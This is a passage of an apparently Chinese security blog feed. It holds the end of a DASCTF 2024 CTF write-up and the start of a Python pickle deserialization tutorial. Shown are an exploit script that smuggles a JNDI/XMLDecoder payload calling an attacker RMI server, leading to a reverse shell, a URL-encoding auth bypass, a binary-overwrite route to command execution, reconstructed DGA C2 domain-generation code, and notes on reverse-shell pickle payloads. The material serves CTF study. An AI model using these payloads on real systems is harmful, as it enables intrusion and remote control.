class="string">&quot;success&quot;</span> <span class="keyword">in</span> res.text.lower():</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;delete <span class="subst">&#123;passwd&#125;</span> success&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">addsession</span>(<span class="params">passwd</span>):</span><br><span class="line">    register(passwd)</span><br><span class="line">    getsession(passwd)</span><br><span class="line">    deluser(passwd)</span><br><span class="line"></span><br><span class="line">payload1 = <span class="string">&quot;--&gt;&lt;java&gt;&lt;object class=\&quot;javax.naming.InitialContext\&quot;&gt;&lt;void method=\&quot;lookup\&quot;&gt;&lt;string&gt;rmi://&quot;</span>+rmiserver+<span class="string">&quot;/a&lt;/string&gt;&lt;/void&gt;&lt;/object&gt;&lt;/java&gt;&lt;!--&quot;</span></span><br><span class="line">list1 = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="built_in">len</span>(payload1),<span class="number">5</span>) :</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(payload1) - i &gt;= <span class="number">5</span>:</span><br><span class="line">        list1.append(payload1[i:i+<span class="number">5</span>:]+<span class="string">&quot;_____&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        list1.append(payload1[i:<span class="built_in">len</span>(payload1)])</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"><span class="built_in">print</span>(list1)</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(list1[-<span class="number">1</span>]) &lt; <span class="number">3</span>:</span><br><span class="line">    list1[-<span class="number">1</span>]=list1[-<span class="number">2</span>][-<span class="number">8</span>:-<span class="number">5</span>:]+list1[-<span class="number">1</span>]</span><br><span class="line">    list1[-<span class="number">2</span>]=list1[-<span class="number">2</span>][<span class="number">0</span>:<span class="number">2</span>]+list1[-<span class="number">2</span>][-<span class="number">5</span>:-<span class="number">1</span>:]</span><br><span class="line"><span class="built_in">print</span>(list1)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">list2=[]</span><br><span class="line">payload2=<span class="string">&quot;11111 class=\&quot;org.example.auth.User\&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="built_in">len</span>(payload2),<span class="number">10</span>) :</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(payload2) - i &gt;= <span class="number">10</span>:</span><br><span class="line">        list2.append(payload2[i:i+<span class="number">10</span>:])</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        list2.append(payload2[i:<span class="built_in">len</span>(payload2)])</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"><span class="built_in">print</span>(list2)</span><br><span class="line"><span class="keyword">for</span> s <span class="keyword">in</span> list2:</span><br><span class="line">    addsession(s)</span><br><span class="line"></span><br><span class="line">list3=[]</span><br><span class="line">payload3=<span class="string">&quot;void property=\&quot;username\&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="built_in">len</span>(payload3),<span class="number">10</span>) :</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(payload3) - i &gt;= <span class="number">10</span>:</span><br><span class="line">        list3.append(payload3[i:i+<span class="number">10</span>:])</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        list3.append(payload3[i:<span class="built_in">len</span>(payload3)])</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"><span class="built_in">print</span>(list3)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">list4=[]</span><br><span class="line">payload4=<span class="string">&quot;void property=\&quot;password\&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="built_in">len</span>(payload4),<span class="number">10</span>) :</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(payload4) - i &gt;= <span class="number">10</span>:</span><br><span class="line">        list4.append(payload4[i:i+<span class="number">10</span>:])</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        list4.append(payload4[i:<span class="built_in">len</span>(payload4)])</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"><span class="built_in">print</span>(list4)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">addsession(<span class="string">&quot;_____&quot;</span>)</span><br><span class="line"></span><br><span class="line">addsession(<span class="string">&quot;____&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> s <span class="keyword">in</span> list3:</span><br><span class="line">    addsession(s)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> s <span class="keyword">in</span> list4:</span><br><span class="line">    addsession(s)</span><br><span class="line"></span><br><span class="line">addsession(<span class="string">&quot;string&quot;</span>)</span><br><span class="line"></span><br><span class="line">addsession(<span class="string">&quot;object&quot;</span>)</span><br><span class="line"></span><br><span class="line">addsession(<span class="string">&quot;/void&quot;</span>)</span><br><span class="line"></span><br><span class="line">addsession(<span class="string">&quot;    &quot;</span>)</span><br><span class="line"></span><br><span class="line">addsession(<span class="string">&quot;1111111111&quot;</span>)</span><br><span class="line"></span><br><span class="line">addsession(<span class="string">&quot;/11111&quot;</span>)</span><br><span class="line"></span><br><span class="line">addsession(<span class="string">&quot;java&quot;</span>)</span><br><span class="line"></span><br><span class="line">addsession(<span class="string">&quot;11111&quot;</span>)</span><br><span class="line"></span><br><span class="line">register(<span class="string">&quot;haha&quot;</span>)</span><br><span class="line">getsession(<span class="string">&quot;haha&quot;</span>)</span><br><span class="line">editpass(<span class="string">&quot;java&quot;</span>,<span class="string">&quot;!--&quot;</span>)</span><br><span class="line"></span><br><span class="line">editpass(<span class="string">&quot;string&quot;</span>,<span class="string">&quot;11111&quot;</span>)</span><br><span class="line">editpass(<span class="string">&quot;object&quot;</span>,<span class="string">&quot;11111&quot;</span>)</span><br><span class="line"></span><br><span class="line">editpass(<span class="string">&quot;/11111&quot;</span>,<span class="string">&quot;11111&quot;</span>)</span><br><span class="line">editpass(<span class="string">&quot;    &quot;</span>,<span class="string">&quot;11111&quot;</span>)</span><br><span class="line"></span><br><span class="line">editpass(<span class="string">&quot;/void&quot;</span>,<span class="string">&quot;111&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> s <span class="keyword">in</span> list2:</span><br><span class="line">    editpass(s,<span class="string">&quot;11111&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> s <span class="keyword">in</span> list3:</span><br><span class="line">    editpass(s,<span class="string">&quot;11111&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> s <span class="keyword">in</span> list4:</span><br><span class="line">    editpass(s,<span class="string">&quot;11111&quot;</span>)</span><br><span class="line"></span><br><span class="line">editpass(<span class="string">&quot;1111111111&quot;</span>,<span class="string">&quot;11111&quot;</span>)</span><br><span class="line">editpass(<span class="string">&quot;1111111111&quot;</span>,<span class="string">&quot;11111&quot;</span>)</span><br><span class="line"></span><br><span class="line">editpass(<span class="string">&quot;haha&quot;</span>,list1[<span class="number">0</span>])</span><br><span class="line"></span><br><span class="line">editpass(<span class="string">&quot;11111&quot;</span>,<span class="string">&quot;111&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Now it&#x27;s the shortest (237)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> payload <span class="keyword">in</span> list1[<span class="number">1</span>::]:</span><br><span class="line">    editpass(<span class="string">&quot;_____&quot;</span>,payload)</span><br><span class="line"></span><br><span class="line">editpass(<span class="string">&quot;____&quot;</span>,<span class="string">&quot;&lt;!--&quot;</span>)</span><br><span class="line"></span><br><span class="line">requests.post(targeturl+<span class="string">&quot;/login&quot;</span>,data=&#123;<span class="string">&quot;username&quot;</span>:<span class="string">&quot;F&quot;</span>,<span class="string">&quot;password&quot;</span>:<span class="string">&quot;1&quot;</span>&#125;)</span><br></pre></td></tr></table></figure></div><p>vps 反弹 shell</p><h3 id="paisa4shell"><a class="markdownIt-Anchor" href="#paisa4shell">#</a> paisa4shell</h3><p>关于鉴权的绕过</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410232302412.png" alt="img"></p><p>这里用了  <code>c.Request.RequestURI</code>  来确定路由，但是  <code>c.Request.RequestURI</code>  是原始的请求 URI，gin 框架的路由选择是根据  <code>c.Request.URL.Path</code>  来确定的</p><p><strong> <code>c.Request.URL.Path</code> </strong></p><ul><li><strong>定义</strong>：这是请求的路径部分，不包括查询参数和其他附加信息。</li><li><strong>用途</strong>：用于路由匹配，即 <strong>Gin 根据这个路径来决定哪个处理函数（路由）来处理这个请求。</strong></li><li><strong>示例</strong>：对于请求  <code>GET /users?id=123</code> ， <code>c.Request.URL.Path</code>  的值是  <code>/users</code> 。</li></ul><p><strong> <code>c.Request.RequestURI</code> </strong></p><ul><li><strong>定义</strong>：这是请求的完整 URI，包括路径和查询字符串。</li><li><strong>用途</strong>：<strong>用于获取完整的请求信息</strong>，适合在<strong>日志记录或调试时</strong>使用。</li><li><strong>示例</strong>：对于同样的请求  <code>GET /users?id=123</code> ， <code>c.Request.RequestURI</code>  的值是  <code>/users?id=123</code> 。</li></ul><p>使用 URL 编码绕过：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">GET /%61pi/config HTTP/1.1</span><br><span class="line">Host: 127.0.0.1:7500</span><br><span class="line">Connection: close</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410232315176.png" alt="image-20241023231559124"></p><p>利用  <code>/api/sheets/save</code>  的任意文件上传漏洞覆盖 /usr/bin/ledger 文件</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410232320926.png" alt="image-20241023232012874"></p><p>最后使用  <code>/api/editor/validate</code>  触发执行命令</p><h3 id="dga-c2"><a class="markdownIt-Anchor" href="#dga-c2">#</a> DGA C2</h3><p>DGA 这个技术，是用来生成大量域名的算法，而黑客 ** 只需要在这些大量的域名中注册一个，即可与对应的被控机取得联系，** 当这域名被封锁或取缔后，黑客只需要重新再注册一个新的域名，即可把被控机重定向到一个新的 IP 上.</p><p>由于使用公共 dns 服务器，防火墙不可能封锁公共 dns, 所以这种技术被用来做<strong> c2 远控</strong></p><p>那么首先要分析一下这种技术</p><p>首先，<strong>DGA 不可能生成完全随机的域名</strong>，这种技术要求有一个事先约定好的算法，被控机根据算法推算域名并查询，而黑客则在域名列表中随机选择一个并注册，所以这个得是有限域，如果全随机，那么被控机很有可能无法生成出黑客想要的域名</p><p>那么有两种办法，</p><ol><li>基于硬编码的或者现场下载的单词本，被控机根据单词本来组合并生成域名</li><li>伪随机，根据事先约定好的种子来生成</li></ol><p>本题就是使用了伪随机生成器来生成域名</p><p><strong>对 pcapng 分析：</strong></p><p>题设说明了 DGA 技术，pcapng 中除了大量 dns 查询外还有一个时间查询 api 和 musl 的相关域名</p><p>这里实际上是给出了提示:</p><ul><li>种子与时间有关</li><li>表明使用的 musl 实现的伪随机生成器</li><li>查询的域名数为 512, 提示了有限域而不是随机生成</li></ul><p>再结合题目中 &quot;每个月都有不一样的结果&quot;, 来看，种子和月份数有很大关联</p><p>接着再来分析 dns 请求的内容:</p><p>所有 dns 请求的域名都是 xxxxxxxxxx.top. 将前面 &quot;xxxxxxxxxx&quot; 提取出来进行分析，可以发现字符集为 a-z,0-9, 共 36 个字符</p><p><strong>分析 musl 的伪随机数算法</strong></p><p>musl rand () 生成出的数都很大，要与字符集中的字符对应，那么大概是取余并取索引.</p><p>使用 c 编写一个简单的 demo:</p><div class="highlight-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">    srand(<span class="number">9</span>);</span><br><span class="line">    <span class="type">int</span> result = rand() % <span class="number">36</span>;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%d\n&quot;</span>, result);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>使用 musl-gcc 编译并运行后得到结果为 5, 也就是字符集中的第 6 个字符</p><p>现在需要猜测字符集的组成，最常见的就是:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">abcdefghijklmnopqrstuvwxyz0123456789</span><br></pre></td></tr></table></figure></div><p>取其中第 6 个，刚好得到 &quot;f&quot;, 与流量中查询的第一个域名 &quot;f0lzccun48.top&quot; 对应</p><p><strong>完善 DGA 算法</strong></p><p>现在根据以上信息可以获得 DGA 算法的全貌了:</p><div class="highlight-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    srand(<span class="number">9</span>);</span><br><span class="line">    <span class="type">char</span> charsets[] = <span class="string">&quot;abcdefghijklmnopqrstuvwxyz0123456789&quot;</span>;</span><br><span class="line">    <span class="type">char</span> domain[<span class="number">15</span>] = <span class="string">&quot;xxxxxxxxxx.xyz&quot;</span>;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;[&quot;</span>);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> q = <span class="number">0</span>; q &lt; <span class="number">512</span>; q++) &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">10</span>; i++) &#123;</span><br><span class="line">            domain[i] = charsets[rand() % <span class="number">36</span>];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\&quot;%s\&quot;,&quot;</span>, domain);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;]&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>这样就可以得到和流量包中完全一样的域名了，把 srand (9) 换成 srand (10), 就得到了下个月的域名</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> time <span class="keyword">import</span> sleep</span><br><span class="line"></span><br><span class="line">domains = [<span class="string">&quot;.......&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_ipaddr</span>(<span class="params">domain</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        ip_addr = socket.gethostbyname(domain)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;domain&#125;</span>解析成功: <span class="subst">&#123;ip_addr&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> domain</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;domain&#125;</span>解析失败: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line">results = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> concurrent.futures</span><br><span class="line"><span class="keyword">with</span> concurrent.futures.ThreadPoolExecutor(max_workers=<span class="number">10</span>) <span class="keyword">as</span> executor:</span><br><span class="line">    futures = &#123;executor.submit(get_ipaddr, domain): domain <span class="keyword">for</span> domain <span class="keyword">in</span> domains&#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> future <span class="keyword">in</span> concurrent.futures.as_completed(futures):</span><br><span class="line">        result = future.result()</span><br><span class="line">        <span class="keyword">if</span> result:</span><br><span class="line">            results.append(result)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;找到域名: <span class="subst">&#123;results&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure></div><p>再遍历所有域名，会发现其中只有一个有解析，访问过去，在 html 中即可找到 flag</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;dasctf-2024-十月赛&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#dasctf-2024-十月赛&quot;&gt;#&lt;/a&gt; DASCTF 2024 十月赛&lt;/h2&gt;
&lt;h3 id=&quot;ezlogin&quot;&gt;&lt;a class=&quot;markdown</summary>
      
    
    
    
    <category term="WriteUp" scheme="http://example.com/categories/WriteUp/"/>
    
    
  </entry>
  
  <entry>
    <title>pickle反序列化</title>
    <link href="http://example.com/2024/10/20/pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    <id>http://example.com/2024/10/20/pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</id>
    <published>2024-10-20T03:11:28.000Z</published>
    <updated>2024-10-20T13:13:32.223Z</updated>
    
    <content type="html"><![CDATA[<h2 id="pickle"><a class="markdownIt-Anchor" href="#pickle">#</a> pickle</h2><p>pickle 是 Python 的一个库，可以对一个对象进行序列化和反序列化操作。其中 <code>__reduce__</code> 魔法函数会在一个对象被反序列化时自动执行，我们可以通过在 <code>__reduce__</code> 魔法函数内植入恶意代码的方式进行任意命令执行。通常会利用到 Python 的反弹 shell.</p><h4 id="关于序列化和反序列化的函数"><a class="markdownIt-Anchor" href="#关于序列化和反序列化的函数">#</a> 关于序列化和反序列化的函数</h4><ol><li><code>pickle.dump()</code></li><li><code>pickle.load()</code></li><li><code>pickle.dumps()</code></li><li><code>pickle.loads()</code></li></ol><p>其中两个 dump 函数是把 python 对象转换为二进制对象的，两个 load 函数是把二进制对象转换为 python 对象的.</p><p>而 s 函数是指对字符串进行反序列化和序列化操作，另外两个函数是对文件进行操作.</p><h3 id="python魔术方法"><a class="markdownIt-Anchor" href="#python魔术方法">#</a> Python 魔术方法</h3><p><a class="link" href="https://fc04db.github.io/2024/05/06/PyJail/#python%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95">PyJail - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><code>pickle.loads()</code>  会在反序列化一个实例时自动引入没有引入的库.</p><p>构造方法 <code>__new__</code></p><ul><li>在实例化一个类时自动被调用，是类的构造方法.</li><li>可以通过重写 <code>__new__</code> 自定义类的实例化过程</li></ul><p>初始化方法 <code>__init__</code></p><ul><li>在 <code>__new__</code> 方法之后被调用，主要负责定义类的属性，以初始化实例</li></ul><p>析构方法 <code>__del__</code></p><ul><li>在实例将被销毁时调用</li><li>只在实例的所有调用结束后才会被调用</li></ul><p><code>__getattr__</code></p><ul><li>获取不存在的对象属性时被触发</li><li>存在返回值</li></ul><p><code>__setattr__</code></p><ul><li>设置对象成员值的时候触发</li><li>传入一个 self, 一个要设置的属性名称，一个属性的值</li></ul><p><code>__repr__</code></p><ul><li>在实例被传入 <code>repr()</code>  时被调用</li><li>必须返回字符串</li></ul><p><code>__call__</code></p><ul><li>把对象当作函数调用时触发</li></ul><p><code>__len__</code></p><ul><li>被传入 <code>len()</code>  时调用</li><li>返回一个整型</li></ul><p><code>__str__</code></p><ul><li>被 <code>str()</code> , <code>format()</code> , <code>print()</code>  调用时调用，返回一个字符串</li></ul><h4 id="python特殊属性"><a class="markdownIt-Anchor" href="#python特殊属性">#</a> Python 特殊属性</h4><ul><li><p><code>object.__dict__</code></p><p>一个字典或其他类型的映射对象，用于存储对象的（可写）属性。</p></li><li><p><code>instance._class_</code></p><p>类实例所属的类。</p></li><li><p><code>class._bases_</code></p><p>由类对象的基类所组成的元组。</p></li><li><p><code>definition._name_</code></p><p>类、函数、方法、描述器或生成器实例的名称。</p></li><li><p><code>definition._qualname_</code></p><p>类、函数、方法、描述器或生成器实例的 <a class="link" href="https://docs.python.org/zh-cn/3.11/glossary.html#term-qualified-name">qualified name <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>。</p></li></ul><h3 id="pvm"><a class="markdownIt-Anchor" href="#pvm">#</a> PVM</h3><p>pickle 是一种栈语言，它由一串串 opcode（指令集）组成。该语言的解析是依靠 Pickle Virtual Machine （PVM）进行的.</p><p>pickle 实际上可以看作一种<strong>独立的语言</strong>，通过对 <code>opcode</code>  的编写可以进行 Python 代码执行、覆盖变量等操作。直接编写的 <code>opcode</code>  灵活性比使用 pickle 序列化生成的代码更高，并且有的代码不能通过 pickle 序列化得到（pickle 解析能力大于 pickle 生成能力）。</p><p>PVM 由以下三部分组成</p><ul><li>指令处理器：从流中读取  <code>opcode</code>  和参数，并对其进行解释处理。重复这个动作，直到遇到。这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。</li><li>stack：由 Python 的 <strong> <code>list</code> </strong> 实现，被用来临时存储数据、参数以及对象。</li><li>memo：由 Python 的 <strong> <code>dict</code> </strong> 实现，为 PVM 的整个生命周期提供存储。</li></ul><h4 id="常用opcode"><a class="markdownIt-Anchor" href="#常用opcode">#</a> 常用 opcode</h4><p>在 Python 的 pickle.py 中，我们能够找到所有的 opcode 及其解释，常用的 opcode 如下，这里以 V0 版本为例</p><table><thead><tr><th>指令</th><th>描述</th><th>具体写法</th><th>栈上的变化</th></tr></thead><tbody><tr><td>c</td><td>获取一个全局对象或 import 一个模块</td><td>c[module]\n[instance]\n</td><td>获得的对象入栈</td></tr><tr><td>o</td><td>寻找栈中的上一个 MARK，以之间的第一个数据（必须为函数）为 callable，第二个到第 n 个数据为参数，执行该函数（或实例化一个对象）</td><td>o</td><td>这个过程中涉及到的数据都出栈，函数的返回值（或生成的对象）入栈</td></tr><tr><td>i</td><td>相当于 c 和 o 的组合，先获取一个全局函数，然后寻找栈中的上一个 MARK，并组合之间的数据为元组，以该元组为参数执行全局函数（或实例化一个对象）</td><td>i[module]\n[callable]\n</td><td>这个过程中涉及到的数据都出栈，函数返回值（或生成的对象）入栈</td></tr><tr><td>N</td><td>实例化一个 None</td><td>N</td><td>获得的对象入栈</td></tr><tr><td>S</td><td>实例化一个字符串对象</td><td>S’xxx’\n（也可以使用双引号、' 等 python 字符串形式）</td><td>获得的对象入栈</td></tr><tr><td>V</td><td>实例化一个 UNICODE 字符串对象</td><td>Vxxx\n</td><td>获得的对象入栈</td></tr><tr><td>I</td><td>实例化一个 int 对象</td><td>Ixxx\n</td><td>获得的对象入栈</td></tr><tr><td>F</td><td>实例化一个 float 对象</td><td>Fx.x\n</td><td>获得的对象入栈</td></tr><tr><td>R</td><td>选择栈上的第一个对象作为函数、第二个对象作为参数（第二个对象必须为元组），然后调用该函数</td><td>R</td><td>函数和参数出栈，函数的返回值入栈</td></tr><tr><td>.</td><td>程序结束，栈顶的一个元素作为 pickle.loads () 的返回值</td><td>.</td><td>无</td></tr><tr><td>(</td><td>向栈中压入一个 MARK 标记</td><td>(</td><td>MARK 标记入栈</td></tr><tr><td>t</td><td>寻找栈中的上一个 MARK，并组合之间的数据为元组</td><td>t</td><td>MARK 标记以及被组合的数据出栈，获得的对象入栈</td></tr><tr><td>)</td><td>向栈中直接压入一个空元组</td><td>)</td><td>空元组入栈</td></tr><tr><td>l</td><td>寻找栈中的上一个 MARK，并组合之间的数据为列表</td><td>l</td><td>MARK 标记以及被组合的数据出栈，获得的对象入栈</td></tr><tr><td>]</td><td>向栈中直接压入一个空列表</td><td>]</td><td>空列表入栈</td></tr><tr><td>d</td><td>寻找栈中的上一个 MARK，并组合之间的数据为字典（数据必须有偶数个，即呈 key-value 对）</td><td>d</td><td>MARK 标记以及被组合的数据出栈，获得的对象入栈</td></tr><tr><td>}</td><td>向栈中直接压入一个空字典</td><td>}</td><td>空字典入栈</td></tr><tr><td>p</td><td>将栈顶对象储存至 memo_n</td><td>pn\n</td><td>无</td></tr><tr><td>g</td><td>将 memo_n 的对象压栈</td><td>gn\n</td><td>对象被压栈</td></tr><tr><td>0</td><td>丢弃栈顶对象</td><td>0</td><td>栈顶对象被丢弃</td></tr><tr><td>b</td><td>使用栈中的第一个元素（储存多个属性名：属性值的字典）对第二个元素（对象实例）进行属性设置</td><td>b</td><td>栈上第一个元素出栈</td></tr><tr><td>s</td><td>将栈的第一个和第二个对象作为 key-value 对，添加或更新到栈的第三个对象（必须为列表或字典，列表以数字作为 key）中</td><td>s</td><td>第一、二个元素出栈，第三个元素（列表或字典）添加新值或被更新</td></tr><tr><td>u</td><td>寻找栈中的上一个 MARK，组合之间的数据（数据必须有偶数个，即呈 key-value 对）并全部添加或更新到该 MARK 之前的一个元素（必须为字典）中</td><td>u</td><td>MARK 标记以及被组合的数据出栈，字典被更新</td></tr><tr><td>a</td><td>将栈的第一个元素 append 到第二个元素 (列表) 中</td><td>a</td><td>栈顶元素出栈，第二个元素（列表）被更新</td></tr><tr><td>e</td><td>寻找栈中的上一个 MARK，组合之间的数据并 extends 到该 MARK 之前的一个元素（必须为列表）中</td><td>e</td><td>MARK 标记以及被组合的数据出栈，列表被更新</td></tr></tbody></table><p>比较全的指令集</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br></pre></td><td class="code"><pre><span class="line"># Pickle opcodes.  See pickletools.py for extensive docs.  The listing</span><br><span class="line"># here is in kind-of alphabetical order of 